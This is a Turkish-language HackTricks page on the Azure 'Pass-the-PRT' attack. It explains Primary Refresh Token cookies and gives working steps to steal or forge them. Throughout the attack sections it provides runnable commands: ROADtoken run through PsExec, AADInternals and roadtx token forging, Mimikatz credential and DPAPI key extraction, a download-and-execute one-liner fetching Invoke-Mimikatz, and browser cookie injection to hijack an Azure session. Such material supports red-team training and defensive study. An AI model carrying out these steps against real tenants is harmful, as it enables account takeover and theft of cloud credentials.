Az - Pass the PRT

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

PRT Nedir

Az - Primary Refresh Token (PRT)

Bir PRT'niz var mı diye kontrol edin

Dsregcmd.exe /status

PRT Çerez

PRT çerezi aslında x-ms-RefreshTokenCredential olarak adlandırılır ve bir JSON Web Token (JWT) içerir. Bir JWT 3 bölümden oluşur, başlık, içerik ve imza, . ile ayrılmış ve tümü url-güvenli base64 kodlanmıştır. Tipik bir PRT çerezi aşağıdaki başlık ve gövdeyi içerir:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Gerçek Primary Refresh Token (PRT), içinde bulunduğumuz refresh_token içinde kapsüllenir ve Azure AD'nin kontrolü altındaki bir anahtar tarafından şifrelenir, bu da içeriğini bizim için opak ve şifresiz hale getirir. is_primary alanı, bu belirtecin içindeki birincil yenileme belirtecini kapsüllediğini belirtir. Çerezin belirli bir giriş oturumuna bağlı kalmasını sağlamak için request_nonce, logon.microsoftonline.com sayfasından iletilir.

TPM kullanarak PRT Çerez akışı

LSASS işlemi, KDF bağlamını TPM'ye gönderecek ve TPM, oturum anahtarı (cihaz AzureAD'ye kaydedildiğinde toplanan ve TPM'de saklanan) ve önceki bağlamı türetmek için kullanacak ve bu türetilmiş anahtar PRT çerezini (JWT) imzalamak için kullanılacaktır.

KDF bağlamı, AzureAD'den gelen bir nonce ve JWT oluşturan PRT ile bir bağlam (rastgele baytlar) karışımıdır.

Bu nedenle, PRT TPM içinde bulunduğu için çıkarılamazsa da, LSASS'ı yeni bağlamlardan türetilmiş anahtarlar istemek ve oluşturulan anahtarları kullanarak Çerezleri imzalamak için kötüye kullanmak mümkündür.

PRT Kötüye Kullanım Senaryoları

Normal bir kullanıcı olarak, LSASS'ten SSO verilerini isteyerek PRT kullanımını talep etmek mümkündür. Bu, Web Hesap Yöneticisi'nden (token aracısı) belirteç isteyen yerel uygulamalar gibi yapılabilir. WAM, isteği LSASS'a ileterek, imzalı PRT iddiasını kullanarak belirteç istemektedir. Veya tarayıcı tabanlı (web) akışlar ile yapılabilir, burada bir PRT çerezi, Azure AS giriş sayfalarına yapılan istekleri kimlik doğrulamak için başlık olarak kullanılır.

SYSTEM olarak, PRT'nin TPM tarafından korunmadığı durumlarda PRT'yi çalabilir veya kripto API'leri kullanarak LSASS'ta PRT anahtarlarıyla etkileşimde bulunabilirsiniz.

Pass-the-PRT Saldırı Örnekleri

Saldırı - ROADtoken

Bu yöntem hakkında daha fazla bilgi için bu gönderiyi kontrol edin. ROADtoken, doğru dizinden BrowserCore.exe'yi çalıştıracak ve bir PRT çerezi elde etmek için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve kalıcı bir yenileme belirteci almak için kullanılabilir.

Geçerli bir PRT çerezi oluşturmak için ihtiyacınız olan ilk şey bir nonce'dir. Bunu alabilirsiniz:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Veya roadrecon kullanarak:

roadrecon auth prt-init

Ardından yeni bir PRT almak için roadtoken kullanabilirsiniz (kullanıcı sürecinden araçta çalıştırın):

.\ROADtoken.exe <nonce>
Bir satırda:
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ardından oluşturulan çerezi kullanarak Azure AD Graph veya Microsoft Graph kullanarak giriş yapmak için tokenlar oluşturabilirsiniz:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Saldırı - roadrecon Kullanımı

Saldırı - AADInternals ve sızdırılan PRT Kullanımı

Get-AADIntUserPRTToken, Azure AD'ye katılmış veya Hibrit katılmış bilgisayardan kullanıcının PRT belirtecini alır. PRT belirtecini almak için BrowserCore.exe kullanır.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ya da Mimikatz'dan değerlere sahipseniz, AADInternals'ı kullanarak bir belirteç oluşturabilirsiniz:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com adresine gidin, login.microsoftonline.com için tüm çerezleri temizleyin ve yeni bir çerez girin.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Sonra https://portal.azure.com adresine gidin.

Gerisi varsayılan olmalıdır. Sayfayı yenileyebilmeli ve çerezin kaybolmadığından emin olmalısınız, eğer kaybolursa hata yapmış olabilirsiniz ve işlemi tekrar yapmanız gerekebilir. Eğer kaybolmazsa, sorun yok demektir.

Saldırı - Mimikatz

Adımlar

  1. PRT (Primary Refresh Token), LSASS (Local Security Authority Subsystem Service) 'dan çıkarılır ve sonraki kullanımlar için saklanır.

  2. Oturum Anahtarı ardından çıkarılır. Bu anahtarın başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelendiği göz önüne alındığında, bir DPAPI anahtarını kullanarak şifre çözme gerektirir. DPAPI (Data Protection API) hakkında detaylı bilgiyi şu kaynaklarda bulabilirsiniz: HackTricks ve uygulamasını anlamak için Çerez Geçirme saldırısına başvurun.

  3. Oturum Anahtarı'nın şifre çözülmesinden sonra, türetilmiş anahtar ve PRT için bağlam elde edilir. Bunlar, PRT çerezi oluşturmak için hayati öneme sahiptir. Özellikle, türetilmiş anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmış olup buradan erişilebilir.

PRT TPM içindeyse ve lsass içinde değilse, mimikatz onu çıkaramaz. Ancak, TPM'den bir türetilmiş anahtar ve bağlam almak ve bunu kullanarak bir çerez imzalamak mümkün olacaktır (seçenek 3'ü kontrol edin).

Bu ayrıntıları çıkarmak için yapılan sürecin detaylı açıklamasını burada bulabilirsiniz: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Bu, Ağustos 2021 sonrası düzeltmelerden sonra diğer kullanıcıların PRT tokenlerini almak için tam olarak çalışmayacak, çünkü yalnızca kullanıcı kendi PRT'sini alabilir (yerel bir yönetici diğer kullanıcıların PRT'lerine erişemez), ancak kendi PRT'sine erişebilir.

PRT'yi çıkarmak için mimikatz kullanabilirsiniz:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Resimler https://blog.netwrix.com/2023/05/13/pass-the-prt-overview adresinden alınmıştır)

Prt olarak etiketlenen kısmı kopyalayın ve kaydedin. Ayrıca aşağıda vurgulanan ProofOfPossesionKey alanının KeyValue değerini de çıkarın. Bu değer şifrelenmiştir ve bunu çözmek için DPAPI anahtarlarımızı kullanmamız gerekecek.

Eğer PRT verilerini görmüyorsanız, cihazınızın Azure AD'ye katılmadığı veya Windows 10'un eski bir sürümünü çalıştırdığınız olabilir.

Oturum açma anahtarını çözmek için yetkilerinizi yükseltmeniz ve DPAPI anahtarını kullanarak çözmek için bilgisayar bağlamında SİSTEM olarak çalışmanız gerekmektedir. Bunun için aşağıdaki komutları kullanabilirsiniz:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Seçenek 1 - Tam Mimikatz

  • Şimdi hem Bağlam değerini kopyalamak istiyorsunuz:

  • Hem de türetilmiş anahtar değerini:

  • Son olarak, tüm bu bilgileri kullanarak PRT çerezleri oluşturabilirsiniz:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Gerisi varsayılan olmalı. Sayfayı yenileyebilmelisiniz ve çerezin kaybolmamasını sağlamalısınız, eğer kaybolursa bir hata yapmış olabilirsiniz ve işlemi tekrar yapmanız gerekebilir. Eğer kaybolmazsa, sorun yok demektir.

Seçenek 2 - PRT kullanarak roadrecon

  • İlk olarak PRT'yi yenileyin, bu da onu roadtx.prt dosyasına kaydedecektir:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Şimdi etkileşimli tarayıcı kullanarak token isteyebiliriz roadtx browserprtauth. roadtx describe komutunu kullandığımızda, erişim token'ının bir MFA iddiası içerdiğini görüyoruz çünkü bu durumda kullandığım PRT'nin de bir MFA iddiası vardı.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Seçenek 3 - türetilmiş anahtarları kullanarak roadrecon

Mimikatz tarafından dökülen bağlam ve türetilmiş anahtarı kullanarak roadrecon'u kullanarak yeni imzalı çerez oluşturmak mümkündür:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referanslar

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated